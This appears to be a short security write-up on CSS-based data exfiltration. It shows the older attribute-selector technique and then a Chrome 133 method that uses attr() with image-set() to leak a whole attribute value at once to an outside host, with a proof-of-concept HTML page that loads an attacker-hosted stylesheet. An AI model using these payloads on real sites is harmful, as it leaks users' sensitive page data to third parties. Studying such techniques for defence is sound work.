Summary

input[name=flag][value^=a]{
    background: url('https://evm.pics/a');
}
input[name=flag][value^=b]{
    background: url('https://evm.pics/b');
}
/* ... */

In most cases, when exploiting CSS exfiltration, they should have attempted to leak data using a payload like the one shown above. However, the process is often tedious, as each word must be leaked step by step but recently they can leak data at once not leaking as each words after Chrome 133 was released


CSS attr() gets an upgrade from Chrome 133

As you can check attr() function has been upgraded from Chrome 133, means it allows to get attrs data from tags so if attacker can use this function as well, the data will be leaked all data at once, i.e, words, they don’t need to leak each word step by step

  <input flag="flag{css-csscscscscscscs}">

let’s say there is an example like this. In the past, we would probably try to leak one word at a time but we don’t need to do that anymore we can just leak all data at once via attr()


Payload to Leak data

        --val: attr(flag);
        background: url(var(--val)); // Invalid

First of all, we can’t use url() since it was blocked for security so need to use image-set() function to leak data to external url

    form {
      --val: attr(flag);
      background: image-set(var(--val));
    }

The payload can be written like this and image-set() function load resources based on the base URL so we should add the <link> tag to web page where the sensitive data is located

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>CSS attr() PoC</title>
        <link rel="stylesheet" href="https://evm.pics/poc/exfiltration1.css">
    </head>
    <body>
        <input flag="flag{css-csscscscscscscs}">
    </body>
</html>

Create the HTML file then open it

We can check that the flag was leaked to attacker’s server

However, this approach does not allow access to certain properties like the value of input elements, which imposes clear limitations on its use in practical attacks